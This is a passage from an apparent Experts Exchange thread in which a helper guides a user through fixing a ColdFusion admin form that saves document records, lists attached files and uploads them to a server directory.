   <select name="DocumentType" value="#form.DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#form.DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#form.DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#form.DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


 <tr>
  <td>
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">


 <cfset fileuploaded = true>


<!--- if file were uploaded successfully --->
<cfif fileuploaded>

<div class="bluebox"><strong>File uploaded! Success!</strong></em></div>
 
 <!--- if file were not uploaded --->
  <cfelse>
  
  <div class="redbox"><strong>File did not upload. Make sure to upload only files with extension jpg, jpeg, png, gif, doc, docx, pdf, ppt, xls, xlsx, txt. Use the Browse button, below, to browse your computer or server for a file to upload.</strong></div>
  
  
   </cfif>
 <!--- end cfif fileuploaded --->
  
   
</td>

 </tr>
</table>

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />


<cfoutput>
  <input name="doSave" type="submit" value="#ButtonText#" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />
</cfoutput>




</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
gdemariaCommented:
You need to remove this line

  WHERE D.DocumentID = F.DocumentID

It is forcing the tables to join together, but because you have no file records, no records are returned.   In essance, this line is making your outer join (left join) an inner join


  SELECT D.DocumentID
  	 , D.DocumentTitle
     , D.DocumentType
     , D.DocumentAuthor
     , D.DocumentAbstract
     , D.DocumentPublicationDate
     , D.SSMA_TimeStamp
     , D.DateRecordModified
     , F.DocumentID 
     , F.FileID
     , F.FileName
     , F.FileExtension
     , F.FileType
     , F.FileSize
     , F.isDeleted
FROM tbl_CEP_Documents D
  left join tbl_CEP_files F on F.documentID = D.documentID

  ORDER BY D.DocumentID ASC

Open in new window

0
Eric BourlandAuthor Commented:
gdemaria,

That was exactly it. Thank you.

I'm working on this task further and will show further results this weekend.

I hope you have a restful weekend planned, with no CF coding at all. Take care.

Eric
0
gdemariaCommented:
When you click on Edit and bring up your insert_update.cfm file, you are passing the documentID on the URL.   However, the insert_update.cfm file is not using it and it thinks you are creating a new record (no documentID).

This is because your insert_udpate.cfm file never looks at URL.documentID, it is only looking at form.documentID.  Since you are passing the ID in the web address, it must be fetched from URL.documentID.

In my code, I convert all FORM and URL variables to one scope so I don't have to deal with this.   If you don't want to do that, you can just do it inside of this page by doing something like this...


<cfparam name="URL.DocumentID" default="">
<cfparam name="form.DocumentID" default="#URL.DocumentID#">

Then use form.documentID in your document.   

Open in new window

0
Eric BourlandAuthor Commented:
>>><cfparam name="form.DocumentID" default="#URL.DocumentID#">

That makes sense!
0
Eric BourlandAuthor Commented:
Hello gdemaria and azadi -- hope you're well, and enjoying the weekend.

I have been trying to get my form to upload a file. Currently the form seems to believe that a file has already been uploaded, for example:

http://ebwebwork.com/cep/admin/insert_update.cfm?DocumentID=27

This is probably because, one line 259, there is:

 <cfset fileuploaded = true>
 
 However, when I take away that line, then variable fileuploaded is undefined, and the form throws an error: variable undefined.
 
 I've been staring at this for a while, and looking at the previous example provided by gdemaria and myselfrandhawa, here:
 
 http://www.experts-exchange.com/Web_Development/Web_Languages-Standards/Cold_Fusion_Markup_Language/Q_25374756.html
 

So, I need to upload a file to c:\upload\cep-dc.org, and populate the other table columns in table tbl_CEP_files, following the table schema recommended by gdemaria
 
FileID (int; PK)
DocumentID (int; will be FK in tbl_CEP_Documents)
FileName nvarchar(256)
FileExtension nvarchar(10)
FileType nvarchar(10)
isDeleted  (bit)

In a previous post gdemaria said:

----------------------------------------------------------------------------------------------------------------------------------------------------------------
You are correct file Extension, size, etc are not coming from the user, but rather being determined from the file upload process.

You should remove those variables from being passed to your cfc function, they will not come from the form.

You need to add the CFFILE ACTION="Upload"  command to get your file to upload.   After that, you can use the  cffile.xxxx   variables  such as cffile.clientFileName, etc variables to get whatever traits about the file you want to capture and save in your table (ext, size, client file name, etc).
----------------------------------------------------------------------------------------------------------------------------------------------------------------

I understand that -- and I see how these columns in table tbl_CEP_files will be populated.

What I do not understand is, where do I put the cffile variables?

cffile.clientFileName
cffile.clientFileExtension
cffile.clientFileType
cffile.isDeleted

And, what should I do with my form to get it to upload files? =)

Thanks again for your advice. I attach my page, insert_update.cfm.

Best from Eric
<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Set default value for DocumentID and FileID in scope FORM --->
<cfparam name="form.DocumentID" default="">
<cfparam name="form.FileID" default="">



 <!--- Set datasource --->
 <cfset ds="ebwebwork">

<cfset variables.error = ""> <!---- populate this with an error message ---->


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->

<cfif IsDefined("FORM.doSave")>


  <cftry>  <!---- begin CFTRY; catch any errors, whether you throw them or the database does ---->
  

    <cfif len(form.DocumentTitle) eq 0>
	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>

 <!--- in this query select NOTHING from table tbl_CEP_documents, and simply check if DocumentTitle exists --->
 
 <cfquery datasource="#ds#" name="CheckDocumentTitle">
  SELECT 'Nothing' FROM tbl_CEP_Documents
  WHERE DocumentTitle = <CFQUERYPARAM CFSQLTYPE="cf_sql_varchar" VALUE="#Form.DocumentTitle#">
  </cfquery>
   
  
   <!--- if DocumentTitle exists, throw error, refuse record insert --->
   
	<cfif CheckDocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please enter another title">
	</cfif>
    
    
   
    <!--- query to update existing document --->
	<cfif val(form.DocumentID)> 
		
                
        <cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(form.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#form.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- query to insert new document ---->
        
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        


<!--- fetch the identify column's value --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>

    </cfif>
    
     

	
	<!--- everything went ok, go to next page --->
	<cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

  <!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->
 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>
  
  <!-- this will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>

<!--- end CFTRY --->  
</cftry>
  
  

  
</cfif>

<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
 
  <cfif len(variables.error) eq 0>
    
  <!--- get data and convert to form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfloop index="aCol" list="#getDocumentDetails.columnList#">
       <cfset "form.#aCol#" = getDocumentDetails[aCol][getDocumentDetails.currentRow]>
  </cfloop>
    
</cfif>



<cfif len(variables.error)> <!-- if an error, show it --->
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>



<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>


  
<!--- Add/update Document form begins here --->
<cfform method="post">


 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#form.documentID#" />
<input type="hidden" name="fileID" value="#form.fileID#" />
  
 </cfoutput>

   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>


<table class="table_admin">
 <tr>
  <td>
   <p><strong>Document Title</strong></p>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#form.DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
   <select name="DocumentType" value="#form.DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#form.DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="100" />
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#form.DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#form.DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


 <tr>
  <td>
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">


 <cfset fileuploaded = true>


<!--- if file were uploaded successfully --->
<cfif fileuploaded>

<div class="bluebox"><strong>File uploaded! Success!</strong></em></div>
 
 <!--- if file were not uploaded --->
  <cfelse>
  
  <div class="redbox"><strong>File did not upload. Make sure to upload only files with extension jpg, jpeg, png, gif, doc, docx, pdf, ppt, xls, xlsx, txt. Use the Browse button, below, to browse your computer or server for a file to upload.</strong></div>
  
  
   </cfif>
 <!--- end cfif fileuploaded --->
  
   
</td>

 </tr>
</table>

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />


<cfoutput>
  <input name="doSave" type="submit" value="#ButtonText#" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />
</cfoutput>




</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
gdemariaCommented:
Eric, at this time you can delete all the lines shown below.  

We will be doing it a different way

 <cfset fileuploaded = true>


<!--- if file were uploaded successfully --->
<cfif fileuploaded>

<div class="bluebox"><strong>File uploaded! Success!</strong></em></div>
 
 <!--- if file were not uploaded --->
  <cfelse>
  
  <div class="redbox"><strong>File did not upload. Make sure to upload only files with extension jpg, jpeg, png, gif, doc, docx, pdf, ppt, xls, xlsx, txt. Use the Browse button, below, to browse your computer or server for a file to upload.</strong></div>
  
  
   </cfif>
 <!--- end cfif fileuploaded --->

Open in new window

0
Eric BourlandAuthor Commented:
got it
0
gdemariaCommented:
Instead, you should display the files currently associated with the document.

To do that you need to query the files and loop to display them...

something like this..


 <tr>
  <td>

  <cfquery name="getFiles" datasource="#ds#">
    select * from tbl_CEP_files where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfif getFiles.recordCount>
   <table>
     <tr>
      <th>File Name</th>
      <th>Delete</th>
     </tr>
     <cfloop query="getFiles">
     <tr>
       <td>#getFiles.fileName#</td>
       <td><input type="Checkbox" name="deleteFileID" value="#getFiles.fileID#"></td>
     </tr>
     </cfloop>
   </table>
  </cfif>

  </td>
 </tr>

Open in new window

0
gdemariaCommented:
Let's look at this part of your code, where the action handles the file upload.

The first line

<cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

redirects the page to a new page if everything was saved Ok.  

Then, you start the file upload.   But wait, you have already redirected the page, so you will never upload the file !

This is the part right after your document insert/update.   You need to...

1.  Check to see if a file is being uploaded (if not, skip to #7)
2.  If a file is being uploaded, use CFFILE to upload that file
3.  Check the uploaded file for the correct extension/type
4.  If the wrong type, delete the file and throw and error
5.  If the type is Ok, then get the file size, extension etc.
6.  Save the file to the database
7.  Redirect to a new page after committing your changes

    
	<!--- everything went ok, go to next page --->
<cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

    <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

    <cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
       <cfthrow message="File did not upload; make sure to upload only permitted file types">
    </cfif>
  
  <!-- this will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>

Open in new window

0
Eric BourlandAuthor Commented:
>>><cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

redirects the page to a new page if everything was saved Ok.  

Then, you start the file upload.   But wait, you have already redirected the page, so you will never upload the file !

Got it. OK, I am working on this.
0
gdemariaCommented:
try to follow steps 1-7 as best you can, let me know when you get stuck
0
Eric BourlandAuthor Commented:
OK, I understand that this line:

      <!--- everything went ok, go to next page; this is the page re-direct --->
      <cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

re-directs the page prematurely. So, I took it out, and placed it after the file upload ... that did not work.

I understand the concept of steps 1 - 7. I am confused about what code to use, and where.

I am labeling every step in my code so that I know what it does.

I'm stuck on step 1. =)

>>>Check to see if a file is being uploaded (if not, skip to #7)

Somewhere around here:

  <!--- If there is a file to upload, do so here --->

<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

... I need to set up a CFIF statement: if file is being uploaded, then use CFFILE to upload it, and check the file's extension, size, etc.

Am I correct?

I took away the line:

      <!--- everything went ok, go to next page; this is the page re-direct --->
      <cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

... is that correct?

Sorry to be so dense. =)

Eric
insert_update.cfm

<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Set default value for DocumentID and FileID in scope FORM --->
<cfparam name="form.DocumentID" default="">
<cfparam name="form.FileID" default="">



 <!--- Set datasource --->
 <cfset ds="ebwebwork">

<cfset variables.error = ""> <!---- populate this with an error message ---->


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->

<cfif IsDefined("FORM.doSave")>


  <cftry>  <!---- begin CFTRY; catch any errors, whether you throw them or the database does ---->
  

    <cfif len(form.DocumentTitle) eq 0>
	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>

 <!--- in this query select NOTHING from table tbl_CEP_documents, and simply check if DocumentTitle exists --->
 
 <cfquery datasource="#ds#" name="CheckDocumentTitle">
  SELECT 'Nothing' FROM tbl_CEP_Documents
  WHERE DocumentTitle = <CFQUERYPARAM CFSQLTYPE="cf_sql_varchar" VALUE="#Form.DocumentTitle#">
  </cfquery>
   
  
   <!--- if DocumentTitle exists, throw error; refuse record insert --->
   
	<cfif CheckDocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please enter another title">
	</cfif>
    
    
   
    <!--- query to update existing document --->
	<cfif val(form.DocumentID)> 
		
                
        <cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(form.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#form.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- query to insert new document ---->
        
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        


<!--- fetch the identify column's value --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>

    </cfif>
    
     

	

  <!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->
 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>
  
  <!-- this will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>

<!--- end CFTRY --->  
</cftry>
  
  

  
</cfif>

<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
 
  <cfif len(variables.error) eq 0>
    
  <!--- get data from table tbl_CEP_Documents and convert the data into form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfloop index="aCol" list="#getDocumentDetails.columnList#">
       <cfset "form.#aCol#" = getDocumentDetails[aCol][getDocumentDetails.currentRow]>
  </cfloop>
    
</cfif>



<!--- if there an error, display error --->

<cfif len(variables.error)> 
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>



<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>



  
<!--- Add or Update Document Form begins here --->
<cfform method="post">


 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#form.documentID#" />
<input type="hidden" name="fileID" value="#form.fileID#" />
  
 </cfoutput>

   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>


<table class="table_admin">

 <tr>
  <td>
<p><strong>Document ID: <cfoutput>#URL.DocumentID#</cfoutput></strong></p>
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Title</strong></p>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#form.DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
   <select name="DocumentType" value="#form.DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#form.DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="100" />
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#form.DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#form.DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


<tr>
  <td>
  
   <!--- display the files currently associated with the document --->


<p>Below, please see the files currently associated with Document ID <strong><cfoutput>#URL.DocumentID#</cfoutput></strong>. If there are no files associated with the document, then no files will appear below. You have the option to upload a file (PDF, DOC, image file), which will associate the file with Document ID <strong><cfoutput>#URL.DocumentID#</cfoutput></strong>.</p>

  <cfquery name="getFiles" datasource="#ds#">
    select * from tbl_CEP_files where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfif getFiles.recordCount>
   <table class="table_admin">
     <tr>
      <th>File Name</th>
      <th>Delete</th>
     </tr>
     <cfloop query="getFiles">
     <tr>
       <td>#getFiles.fileName#</td>
       <td><input type="Checkbox" name="deleteFileID" value="#getFiles.fileID#"></td>
     </tr>
     </cfloop>
   </table>
  </cfif>

  </td>
 </tr>

 <tr>
  <td>
  
  
  <!--- If there is a file to upload, do so here --->
  
  
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">



  
   
</td>

 </tr>
</table>


  <!--- input field for file upload --->

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />





  <!--- submit form to ColdFusion for processing --->
<cfoutput>
  <input name="doSave" type="submit" value="#ButtonText#" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />
</cfoutput>




</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
gdemariaCommented:
> I need to set up a CFIF statement: if file is being uploaded, then use CFFILE to upload it, and check the file's extension, size, etc.

Exactly right.

the CFIF statements tests to see if there is a value in the field used by <input type=File...>

which is this...
<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png"  name="FileName" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />

so, the cfif would test...

<cfif len(form.fileName)> <!------is there a file to upload? ----->
    <cffile action="upload"....
    ...etc...



0
gdemariaCommented:
> re-directs the page prematurely. So, I took it out, and placed it after the file upload ... that did not work.

After the page is successfully saved, what do you want to do?  If you want to go to a different page, then you would use the CFLOCATION.

The place for it is immediately before the <cfcatch>
The cfcatch is the very end of your processing, so putting it right before that will ensure you have done everything in your action before going to a new page.  

Not sure what you mean by "didn't work"

But not to worry, we can put it in later, let's get the file upload working
0
Eric BourlandAuthor Commented:
=)

I'm working on this.

I need to tackle another project for a little then will come back to this.

Thank you again. Hope you are well.

Eric
0
Eric BourlandAuthor Commented:
gdemaria,

This makes sense:
<cfif len(form.fileName)> <!------is there a file to upload? ----->

I use the CFIF statement, and the len function, to determine if anything has been entered in the form field to upload a file.

So, I enclosed the <cffile action="upload".... in CFIF statements.

The thing is, I am not sure: what is the CFELSE statement? Should the CFELSE be, simply, nothing? If nothing has been entered in the form field to upload a file, then ... nothing should happen? A file should not be uploaded?

Sorry, I am getting a little lost here.

I think what should happen is, your seven steps, except I think we need to add something between steps 2 and 3?

1.  Check to see if a file is being uploaded (if not, skip to #7)
2.  If a file is being uploaded, use CFFILE to upload that file

If a file is NOT being uploaded, then disregard the CFFILE and do not alter the file data in table tbl_CEP_Files ... leave them be

3.  Check the uploaded file for the correct extension/type
4.  If the wrong type, delete the file and throw and error
5.  If the type is Ok, then get the file size, extension etc.
6.  Save the file to the database
7.  Redirect to a new page after committing your changes

Am I right? I understand that we must test to see if a file is being uploaded. But it not ... then what? The application should disregard the CFFILE tag?

Please help me to understand the concept.

I seem to be introducing confusion and error into this problem. Thanks for your help. Hope I am not driving you crazy.

Eric
<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Set default value for DocumentID and FileID in scope FORM --->
<cfparam name="form.DocumentID" default="">
<cfparam name="form.FileID" default="">



 <!--- Set datasource --->
 <cfset ds="ebwebwork">

<cfset variables.error = ""> <!---- populate this with an error message ---->


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->

<cfif IsDefined("FORM.doSave")>


  <cftry>  <!---- begin CFTRY; catch any errors, whether you throw them or the database does ---->
  

    <cfif len(form.DocumentTitle) eq 0>
